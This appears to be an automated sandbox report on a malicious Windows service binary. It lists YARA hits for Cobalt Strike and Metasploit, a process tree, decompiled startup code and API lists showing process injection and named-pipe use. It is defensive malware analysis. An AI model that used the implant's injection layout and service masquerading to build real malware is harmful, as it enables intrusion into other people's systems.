Rule: CobaltStrike_C2_Encoded_XOR_Config_Indicator, Description: Detects CobaltStrike C2 encoded profile configuration, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: yara@s3c.za.net Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_CobaltStrike_2, Description: Yara detected CobaltStrike, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2392, Parent PID: 576

General

Target ID:	8
Start time:	16:07:08
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5416, Parent PID: 576

General

Target ID:	9
Start time:	16:07:10
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4532, Parent PID: 576

General

Target ID:	10
Start time:	16:07:11
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5644, Parent PID: 576

General

Target ID:	11
Start time:	16:07:11
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SgrmBroker.exePID: 4380, Parent PID: 576

General

Target ID:	12
Start time:	16:07:12
Start date:	08/01/2023
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff689cb0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4792, Parent PID: 576

General

Target ID:	13
Start time:	16:07:12
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5932, Parent PID: 576

General

Target ID:	14
Start time:	16:07:13
Start date:	08/01/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff603c50000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MpCmdRun.exePID: 5448, Parent PID: 5932

General

Target ID:	15
Start time:	16:08:13
Start date:	08/01/2023
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff604670000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5512, Parent PID: 5448

General

Target ID:	16
Start time:	16:08:13
Start date:	08/01/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 8082-svc-x86.exePID: 1284, Parent PID: 576COMMON

Execution Graph

Execution Coverage:	14.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.9%
Total number of Nodes:	341
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401180 Relevance: 19.7, APIs: 13, Instructions: 199
sleeplibrarystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00401180() {
				void* _v16;
				signed int _v48;
				void* _v52;
				char _v96;
				signed int _v112;
				void* _v113;
				void* _v116;
				intOrPtr _v132;
				int _v136;
				void* _v144;
				void* _v148;
				void* _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t47;
				signed int _t49;
				void* _t52;
				intOrPtr* _t56;
				_Unknown_base(*)()* _t58;
				void* _t59;
				_Unknown_base(*)()* _t60;
				void* _t64;
				void* _t66;
				int _t72;
				void* _t76;
				signed char* _t79;
				int _t85;
				intOrPtr _t86;
				signed int _t87;
				signed int _t93;
				void* _t94;
				signed int _t95;
				char* _t98;
				signed int _t99;
				signed int _t101;
				void* _t102;
				void* _t103;
				char* _t104;
				void* _t105;
				int _t107;
				void* _t108;
				void* _t109;
				signed int _t113;
				intOrPtr* _t114;
				void* _t115;
				void* _t116;

				L0:
				while(1) {
					L0:
					_t108 = _t109;
					_t94 =  &_v96;
					_t102 = _t94;
					memset(_t102, 0, 0x11 << 2);
					_t103 = _t102 + 0x11;
					_t47 = E00402E30(0x30);
					_t49 =  &_v113 & 0xfffffff0;
					 *_t49 = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 4)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 8)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0xc)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x10)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x14)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x18)) = 0xcccccccc;
					 *((intOrPtr*)(_t49 + 0x1c)) = 0xcccccccc;
					_t113 = _t109 - 0x0000007c + 0xc - _t47 & 0xfffffff0;
					if( *0x447040 != 0) {
						 *_t113 = _t94;
						GetStartupInfoA(??);
						_t113 = _t113 - 4;
					}
					_t105 = Sleep;
					_t85 =  *((intOrPtr*)( *[fs:0x18] + 4));
					while(1) {
						L4:
						_v132 = 0;
						_v136 = _t85;
						 *_t113 = 0x447464;
						_t52 = E00402E80();
						_t114 = _t113 - 0xc;
						if(_t52 == 0) {
							break;
						}
						L2:
						if(_t52 == _t85) {
							L33:
							_t86 = 1;
							if( *0x447468 != 1) {
								L6:
								if( *0x447468 == 0) {
									 *0x447468 = 1;
									_v136 = 0x449018;
									 *_t114 = 0x44900c;
									L00402ED8();
								} else {
									 *0x447000 = 1;
								}
								if( *0x447468 == 1) {
									goto L36;
								}
							} else {
								L34:
								 *_t114 = 0x1f;
								L00402ED0();
								if( *0x447468 == 1) {
									L35:
									L36:
									_v136 = 0x449008;
									 *_t114 = 0x449000;
									L00402ED8();
									 *0x447468 = 2;
								}
							}
							L41:
						} else {
							L3:
							 *_t114 = 0x3e8;
							Sleep(??);
							_t113 = _t114 - 4;
							continue;
						}
						L9:
						if(_t86 == 0) {
							asm("lock xchg [0x447464], ebx");
						}
						_t56 =  *0x4460d4; // 0x401bd0
						if(_t56 != 0) {
							_v132 = 0;
							_v136 = 2;
							 *_t114 = 0;
							 *_t56();
							_t114 = _t114 - 0xc;
						}
						E00402370(_t86, _t103, _t105);
						 *_t114 = E00401E70; // executed
						_t58 = SetUnhandledExceptionFilter(??); // executed
						_t115 = _t114 - 4;
						 *0x447048 = _t58;
						_t59 = E00402920();
						 *(_t115 + 4) = "_set_invalid_parameter_handler";
						_v144 = _t59;
						_t60 = GetProcAddress(??, ??);
						_t116 = _t115 - 8;
						if(_t60 != 0) {
							_v144 = 0x401000;
							_t60 =  *_t60();
						}
						E004029E0(_t60);
						if( *0x447040 != 0) {
							L16:
							_t93 = 0;
							_t79 =  *_acmdln;
							while(1) {
								L20:
								_t99 =  *_t79 & 0x000000ff;
								if(_t99 <= 0x20) {
									goto L17;
								}
								L21:
								_t93 =  ==  ? _t93 ^ 0x00000001 : _t93;
								L19:
								_t79 =  &(_t79[1]);
								L20:
								_t99 =  *_t79 & 0x000000ff;
								if(_t99 <= 0x20) {
									goto L17;
								}
								goto L25;
								L17:
								if(_t99 != 0) {
									L18:
									if(_t93 == 0) {
										while(1) {
											L23:
											_t79 =  &(_t79[1]);
											_t101 =  *_t79 & 0x000000ff;
											if(_t101 > 0x20) {
												goto L24;
											}
											L22:
											if(_t101 != 0) {
												continue;
											}
											goto L24;
										}
									} else {
										goto L19;
									}
								}
								L24:
								 *0x4473e4 = _t79;
								 *0x4473ec = 0x400000;
								_t81 =  !=  ? _v48 & 0x0000ffff : 0xa;
								 *0x4473e8 =  !=  ? _v48 & 0x0000ffff : 0xa;
								goto L25;
							}
						}
						L25:
						_t95 =  *0x447004;
						_t87 = 0;
						_v112 = _t95;
						_t64 = malloc(4 + _t95 * 4);
						_t104 =  *0x447008;
						_v116 = _t64;
						if(_v112 > 0) {
							L26:
							do {
								L27:
								_t28 = strlen( *(_t104 + _t87 * 4)) + 1; // 0x1
								_t107 = _t28;
								_t76 = malloc(_t107);
								 *(_v116 + _t87 * 4) = _t76;
								_t98 =  *(_t104 + _t87 * 4);
								_t87 = _t87 + 1;
								_v136 = _t107;
								_v144 = _t76;
								 *(_t116 + 4) = _t98;
								memcpy(??, ??, ??);
							} while (_t87 != _v112);
							_t87 = _t87 << 2;
						}
						L29:
						_t66 = _v116;
						 *((intOrPtr*)(_t66 + _t87)) = 0;
						 *0x447008 = _t66;
						E00402A70();
						 *__imp____initenv =  *0x44700c;
						_v136 =  *0x44700c;
						 *(_t116 + 4) =  *0x447008;
						_t72 = E00402F50( *0x447004); // executed
						_t106 =  *0x447014;
						 *0x447010 = _t72;
						if( *0x447014 == 0) {
							L39:
							exit(_t72);
							L40:
							 *0x447040 = 1;
							E00402A90(_t87, _t104, _t106, _t108);
							goto L0;
						}
						L30:
						if( *0x447000 == 0) {
							L00402EC8();
							_t72 =  *0x447010;
						}
						return _t72;
					}
					L5:
					_t86 = 0;
					if( *0x447468 == 1) {
						goto L34;
					} else {
						goto L6;
					}
					goto L9;
				}
			}

0x00401180
0x00401180
0x00401181
0x00401183
0x0040118c
0x00401190
0x00401195
0x00401195
0x00401199
0x004011a4
0x004011a7
0x004011ad
0x004011b4
0x004011bb
0x004011c2
0x004011c9
0x004011d0
0x004011d7
0x004011de
0x004011e8
0x00401473
0x00401476
0x0040147c
0x0040147c
0x004011f4
0x004011fa
0x00401214
0x00401214
0x00401214
0x0040121c
0x00401220
0x00401227
0x0040122c
0x00401231
0x00000000
0x00000000
0x00401200
0x00401202
0x00401420
0x00401425
0x0040142d
0x00401243
0x0040124a
0x00401484
0x0040148e
0x00401496
0x0040149d
0x00401250
0x00401250
0x00401250
0x00401262
0x00000000
0x00000000
0x00401433
0x00401433
0x00401433
0x0040143a
0x00401447
0x00000000
0x00401450
0x00401450
0x00401458
0x0040145f
0x00401464
0x00401464
0x00401447
0x00000000
0x00401208
0x00401208
0x00401208
0x0040120f
0x00401211
0x00000000
0x00401211
0x00401268
0x0040126a
0x0040126c
0x0040126c
0x00401273
0x0040127a
0x0040127c
0x00401284
0x0040128c
0x00401293
0x00401295
0x00401295
0x00401298
0x0040129d
0x004012a4
0x004012aa
0x004012ad
0x004012b2
0x004012b7
0x004012bf
0x004012c2
0x004012c8
0x004012cd
0x004012cf
0x004012d6
0x004012d6
0x004012d8
0x004012e4
0x004012e6
0x004012eb
0x004012ed
0x004012fc
0x004012fc
0x004012fc
0x00401302
0x00000000
0x00000000
0x00401304
0x0040130c
0x004012f9
0x004012f9
0x004012fc
0x004012fc
0x00401302
0x00000000
0x00000000
0x00000000
0x004012f1
0x004012f3
0x004012f5
0x004012f7
0x00401315
0x00401315
0x00401315
0x00401318
0x0040131e
0x00000000
0x00000000
0x00401311
0x00401313
0x00000000
0x00000000
0x00000000
0x00401313
0x00000000
0x00000000
0x00000000
0x004012f7
0x00401320
0x00401328
0x00401332
0x0040133c
0x0040133f
0x00000000
0x0040133f
0x004012fc
0x00401344
0x00401344
0x0040134a
0x00401353
0x00401359
0x0040135e
0x00401364
0x0040136c
0x00000000
0x00401370
0x00401370
0x0040137b
0x0040137b
0x00401381
0x00401389
0x0040138c
0x0040138f
0x00401392
0x00401396
0x00401399
0x0040139d
0x004013a2
0x004013a7
0x004013a7
0x004013aa
0x004013aa
0x004013ad
0x004013b4
0x004013b9
0x004013c9
0x004013d0
0x004013d9
0x004013e5
0x004013ea
0x004013f2
0x004013f7
0x004014a7
0x004014aa
0x004014b0
0x004014b3
0x004014bd
0x00000000
0x004014c2
0x004013fd
0x00401405
0x00401407
0x0040140c
0x0040140c
0x00401418
0x00401418
0x00401233
0x00401238
0x0040123d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040123d

APIs

Sleep.KERNEL32 ref: 0040120F
SetUnhandledExceptionFilter.KERNELBASE ref: 004012A4
GetProcAddress.KERNEL32 ref: 004012C2
malloc.MSVCRT ref: 00401359
strlen.MSVCRT ref: 00401376
malloc.MSVCRT ref: 00401381
memcpy.MSVCRT ref: 0040139D
_cexit.MSVCRT ref: 00401407
GetStartupInfoA.KERNEL32 ref: 00401476

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: malloc$AddressExceptionFilterInfoProcSleepStartupUnhandled_cexitmemcpystrlen
String ID:
API String ID: 2757201259-0
Opcode ID: 0ffb76ae5e95da41bc83b8d6e0988bcfad65103e7296106b01b609385fb0784f
Instruction ID: b520ae0778044b0131384eb691c383f65b5ab2fd8959a08a1c2ef0303cb6f7f4
Opcode Fuzzy Hash: 0ffb76ae5e95da41bc83b8d6e0988bcfad65103e7296106b01b609385fb0784f
Instruction Fuzzy Hash: 658190B5A083008FD710EF69D98575A7BE4FB46344F00843EE884AB3B2D7789845CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004015E3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
memoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE ref: 00401617
WriteProcessMemory.KERNELBASE ref: 0040163B
VirtualProtectEx.KERNELBASE ref: 00401665

Part of subcall function 00401585: GetThreadContext.KERNELBASE ref: 004015AA
Part of subcall function 00401585: SetThreadContext.KERNELBASE ref: 004015C6
Part of subcall function 00401585: ResumeThread.KERNELBASE ref: 004015D5

Strings

, xrefs: 00401656

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: Thread$ContextVirtual$AllocMemoryProcessProtectResumeWrite
String ID:
API String ID: 2510746765-3916222277
Opcode ID: 98fd60b40e763cf1c0588a2a92284ca64f11d97fa3fc4fe119ce37cc8a3a9acc
Instruction ID: 51bf41b5267f32c2ee6501d1ff25d8f8f9f1cdb80aa5cf9e2f437c3fc7dc1d03
Opcode Fuzzy Hash: 98fd60b40e763cf1c0588a2a92284ca64f11d97fa3fc4fe119ce37cc8a3a9acc
Instruction Fuzzy Hash: F511C6B58087099FCB00EF69D88468EFBF4FB88350F41892EE99997211D7749548CF92

Uniqueness

Uniqueness Score: -1.00%

Function 004017FC Relevance: 6.1, APIs: 4, Instructions: 57
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeA.KERNEL32 ref: 00401851
ConnectNamedPipe.KERNELBASE ref: 0040186F
FindCloseChangeNotification.KERNELBASE ref: 004018B8

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: NamedPipe$ChangeCloseConnectCreateFindNotification
String ID:
API String ID: 110351524-0
Opcode ID: 0465db1befb23027c4cea89d0b6a898aca4ec2e125c6b86e4828439d6905d31f
Instruction ID: 17bb8fcc64f172d170a250cdf5790c7dd978b5f6bce225f89b3aa58ccb4e35f0
Opcode Fuzzy Hash: 0465db1befb23027c4cea89d0b6a898aca4ec2e125c6b86e4828439d6905d31f
Instruction Fuzzy Hash: 1C21F7B18083059BE700AF69C88875FBBF4FB84754F00C92EE99497291D77995488FD6

Uniqueness

Uniqueness Score: -1.00%

Function 00402F50 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00402F50(struct _SERVICE_TABLE_ENTRY _a4) {
				void* _v16;
				intOrPtr _v28;
				void _v32;
				signed int _t27;
				signed int _t28;

				_t16 =  &_a4;
				_t28 = _t27 & 0xfffffff0;
				_t2 = _t16 - 4; // 0x1b66
				_push( *_t2);
				E00402A70();
				memset( &_v32, 0, 4 << 2);
				_v28 = E00401AF1;
				_v32 = "DceRpcSs";
				 *((intOrPtr*)(_t28 - 0x20 + 0xc)) =  &_v32; // executed
				StartServiceCtrlDispatcherA( &_a4); // executed
				_push(0);
				return 0;
			}

0x00402f50
0x00402f54
0x00402f57
0x00402f57
0x00402f62
0x00402f71
0x00402f76
0x00402f7d
0x00402f84
0x00402f87
0x00402f8f
0x00402f99

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 00402F87

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: e3b383bff927e7d42cf873172becb8e24fa9f11f50487d90cb0a5020072ce581
Instruction ID: 2b2b9dc17f267bd0b3883f6c39bae23263766987c534d6c7352ccb13fdade522
Opcode Fuzzy Hash: e3b383bff927e7d42cf873172becb8e24fa9f11f50487d90cb0a5020072ce581
Instruction Fuzzy Hash: 5BF0E5B1D14208ABCF04DFA5CD0A5AEBFF4EB49320F00052DDB10A7190EB722258CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 00402F5A Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00402F5A(void* __ecx) {
				void* _v12;
				intOrPtr _v24;
				void _v28;
				void* _t20;

				E00402A70();
				memset( &_v28, 0, 4 << 2);
				_v24 = E00401AF1;
				_v28 = "DceRpcSs";
				 *((intOrPtr*)(_t20 - 0x20 + 0xc)) =  &_v28; // executed
				StartServiceCtrlDispatcherA(??); // executed
				_push(0);
				return 0;
			}

0x00402f62
0x00402f71
0x00402f76
0x00402f7d
0x00402f84
0x00402f87
0x00402f8f
0x00402f99

APIs

StartServiceCtrlDispatcherA.ADVAPI32 ref: 00402F87

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CtrlDispatcherServiceStart
String ID:
API String ID: 3789849863-0
Opcode ID: 45f20d8f2023f6e05191cf7aca1cb58d873fd4a14c5f560c92751c7b1dc670ab
Instruction ID: 4779078c75c81b69a7b3b677dac00df4aaf53bcda390081b606efbad01e9f719
Opcode Fuzzy Hash: 45f20d8f2023f6e05191cf7aca1cb58d873fd4a14c5f560c92751c7b1dc670ab
Instruction Fuzzy Hash: 3BE092B1D102089ADF04DBA5C80A4AEBFF4EB48310F40042EDB00A7140E77112588AEA

Uniqueness

Uniqueness Score: -1.00%

Function 004019F4 Relevance: 22.8, APIs: 3, Strings: 10, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004019FA
sprintf.MSVCRT ref: 00401A64
CreateThread.KERNELBASE ref: 00401A98

Strings

h`D, xrefs: 00401A51
., xrefs: 00401A39
p, xrefs: 00401A17
p, xrefs: 00401A27
e, xrefs: 00401A0F
i, xrefs: 00401A1F
\, xrefs: 00401A49
\, xrefs: 00401A41
\, xrefs: 00401A31
\, xrefs: 00401A07

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CountCreateThreadTicksprintf
String ID: .$\$\$\$\$e$h`D$i$p$p
API String ID: 1367138260-11489786
Opcode ID: f0429da66f0d8fd4b02aeebdf8207271749dda62c489663ccaaecb582acfca4a
Instruction ID: 2f42d98f885511b68772a3f57ad8eadf19c4ba70bd4210558800798ab69ab24e
Opcode Fuzzy Hash: f0429da66f0d8fd4b02aeebdf8207271749dda62c489663ccaaecb582acfca4a
Instruction Fuzzy Hash: E4016CB4408341DFE300EF15D91871FBEE1AB84749F10891DE5982A290C7BE864DCF9B

Uniqueness

Uniqueness Score: -1.00%

Function 00401690 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 004016A8
GetEnvironmentVariableA.KERNEL32 ref: 004016F0
_snprintf.MSVCRT ref: 0040171A
CreateProcessA.KERNELBASE ref: 00401769

Strings

K`D, xrefs: 00401707
D, xrefs: 004016C6

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: Process$CreateCurrentEnvironmentVariable_snprintf
String ID: D$K`D
API String ID: 3047511472-746765810
Opcode ID: 5c77ac82240fef1a811d18193f32444bcb938975824a7bfa1f90382f051c0384
Instruction ID: 087531ef9b2ac5c7c348af1f11106e8387f3d0ce3da55d58f29aeccee2579a31
Opcode Fuzzy Hash: 5c77ac82240fef1a811d18193f32444bcb938975824a7bfa1f90382f051c0384
Instruction Fuzzy Hash: 073114B49083059FEB00DF55C88438EFBF4BF89314F00882EE98867260C7B99949CF86

Uniqueness

Uniqueness Score: -1.00%

Function 004018E6 Relevance: 4.6, APIs: 3, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00401933
CloseHandle.KERNEL32 ref: 00401982

Memory Dump Source

Source File: 00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.255986197.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.255998119.0000000000403000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256051998.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.256057218.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8082-svc-x86.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 83a72818d15d9e67c4539c726bb95fc3f543abcebfb528c7ad38d068b0334a22
Instruction ID: e3adfe13857385e08e133eab5559950cd13a3d73f8712197521cb2af330bb1ff
Opcode Fuzzy Hash: 83a72818d15d9e67c4539c726bb95fc3f543abcebfb528c7ad38d068b0334a22
Instruction Fuzzy Hash: 66112BB09083059BD700AF69C45879FBBF4EF84354F00852EE9A457290D7B98549CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 4.5, APIs: 3, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

